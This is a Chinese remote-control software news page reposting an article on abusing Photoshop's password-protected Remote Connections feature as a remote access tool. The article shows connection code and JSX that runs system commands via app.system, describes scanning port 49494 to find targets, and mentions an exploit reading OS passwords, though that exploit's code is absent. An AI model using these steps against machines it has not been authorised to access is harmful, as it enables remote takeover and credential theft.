远程控制软件资讯网
——最新最全的远程控制、远程监控软件资讯
网站地图
访问旧站
软件提交
软件
软件
资讯
首页
下载中心
软件专题
软件评测
手机监控
远程医疗
解决方案
产品设备
论坛
当前位置:
首页
>
软件动态
如何把Photoshop改造成远程控制工具(RAT)来利用
【来源】: 原创 【作者】:Photoshop 【时间】:2018-01-18 【浏览】:6069
通过对Photoshop远程连接功能的改造利用,最终实现了对开启远程连接功能的Photoshop端操作系统的接管控制。
Photoshop远程连接功能说明
Photoshop中有一个名为远程连接(Remote Connections)的可选功能,该功能默认是关闭的,但如果你启用该功能并设置密码后,任何知晓密码的人就可以远程接入到你电脑的Photoshop服务端。如下开启画面:
正常用户利用该功能,来实时预览不同PS文件在iPad或手机等远程设备上的实际设计外观样式,该远程预览功能需要手机等移动终端安装如PS Playon和Skala Preview等第三方APP来实现连接。如Skala Preview:
该远程连接功能基于Photoshop的JSX脚本实例。JSX属Photoshop的宏脚本,由Javascript语言编写,以实现Photoshop的图片加载、颜色渲染、矢量绘制和导出等功能,可点此查看JSX的相关编写规范和可用接口。
另外,Adobe提供了一个开源库内核生成器来建立该远程连接,所以如果您对其中的协议细节有兴趣,也可点此查看。当开启远程连接后,Photoshop将会对49494端口进行监听:
$ netstat -an | grep 49494
tcp4 0 0 *.49494 *.* LISTEN
以下代码为与远程Photoshop服务端用来进行身份验证交互的代码:
const core = require("generator-core/lib/generator")
const options = {
host: '192.168.1.123',
password: 'password',
port: 49494
}
const generator = core.createGenerator()
generator.start(options).done(() => {
generator.evaluateJSXString('alert("Hello")').then(() => generator.shutdown())
})
对此,我曾尝试利用以下app.system方法来调用系统命令:
alert(app.system(“id”))
但遗憾的是其返回值却是一些退出状态码,不是标准的命令输出内容。经过研究,我发现Photoshop的JSX脚本具备系统访问接口,所以,这样一来,我们可以把其标准输出内容(stdout)重定向到一个临时文件中,之后,就可以对该文件进行读取。如下所示:
var tmpFile = Folder.temp + 'output.txt';
app.system("id > " + tmpFile);
var stdout = new File(${tmpFile});
stdout.open('r');
stdout.encoding = "UTF-8";
var content = stdout.read();
stdout.close();
stdout.remove();
alert(content);
Photoshop RAT 改造成型
因此,我可以在上述身份验证代码中作出如下修改,通过用户名密码方式登录远程Photoshop服务端,之后,再利用JSX脚本接口间接执行Photoshop服务端系统命令,实现对远程Photoshop服务端系统的直接接管控制。以下为exploit代码:
exploit.js:
成功利用后,读取远程Photoshop服务端操作系统密码:
影响分析
在内网中,你可以通过49494端口扫描或组播DNS”_photoshopserver.tcp”抓包来探测一些开启远程连接功能的Photoshop服务端,之后利用以上exploit.js进行把玩。
该功能的此种RAT方式利用,前提必须知晓对方Photoshop服务远程连接密码,因此并不属于漏洞范畴。基于此,请谨慎开启你的Photoshop远程连接功能,或严格保存你的Photoshop远程连接密码,否则,你的操作系统有可能被不怀好意之人远程控制。
本文地址:
http://www.ykw123.com/news_info/494.html
,转载请注明。
上一篇:
远程协助ta的电脑Team Viewe
下一篇:
QQ远程协助不管用?科技大佬如何远程拯救不会电脑的小可爱?
网络人远程控制软件 办公版
掌控局域网监控软件
网络人远程控制软件 企业版
网络人远程控制软件 旗舰版
相关资讯
常用的几种远程桌面的方式,
AnyDesk:速度最快的远程连接/远程桌面控制软件!
如果你想手机控制电脑
这款电脑上的远程控制软件,功能有些强大,装机必备!
分享一个远程控制神器teamviewer
最新资讯
比较好用的远程控制软件?
常用远程控制电脑软件都有哪些?
远程控制电脑软件排行你知道多少?
怎么设置远程控制电脑?
电脑文件共享的方法
互动评论
网友评论(0人)
远程监控下载排行
更多>>
1
网络人远程控制软件 旗舰版
2
网络人远程控制软件 企业版
3
网络人远程控制软件 办公版
4
掌控局域网监控软件
软件专题
更多>>
网络人远程控制软件
TeamViewer
VNC
最近更新
更多>>
网络人远程控制软件 旗舰版
网络人远程控制软件 企业版
网络人远程控制软件 办公版
掌控局域网监控软件
编辑推荐
更多>>
员工电脑监控,网络人替您搭把手
2015-08-09 214789人浏览
电脑定时关机怎么设置?
2015-08-09 211376人浏览
强大的远程管理VNC
2015-08-05 217844人浏览
内网穿透——网络人远程控制软件
2015-08-06 216744人浏览
VNC应用于广播教学
2015-08-06 225679人浏览
源码下载
更多>>
热门标签
VNC,VNC远程控制软件
VNC的安装使用
VNC Viewer
VNC
VNC,VNC攻略
VNC
VNC Viewer
VNC Server
网络人
网络人远程控制软件
手机监控
手机监控
手机监控
远程医疗
远程医疗
远程医疗
网络宽带、
手机监控
远程控制
网络人远程开机卡
远程控制软件
远程桌面连接
手机监控
手机监控
远程互联网
智能视频监控
远程监控
监控
手机监控
远程监控
手机监控
远程监控解决方案
远程监控
远程解决方案
远程监控
远程监控软件
远程控制软件
TeamViewer软件
远程办公、远程解决方案
远程监控
手机监控
网络人网
关于我们
联系我们
免责声明
订阅/投稿
RSS订阅
邮件订阅
投稿
关于我们
新浪微博
腾讯微博
热门资讯
官方QQ群
Copyright © 2009-2015. 网络人
备案号:
桂ICP备08000748
号
-8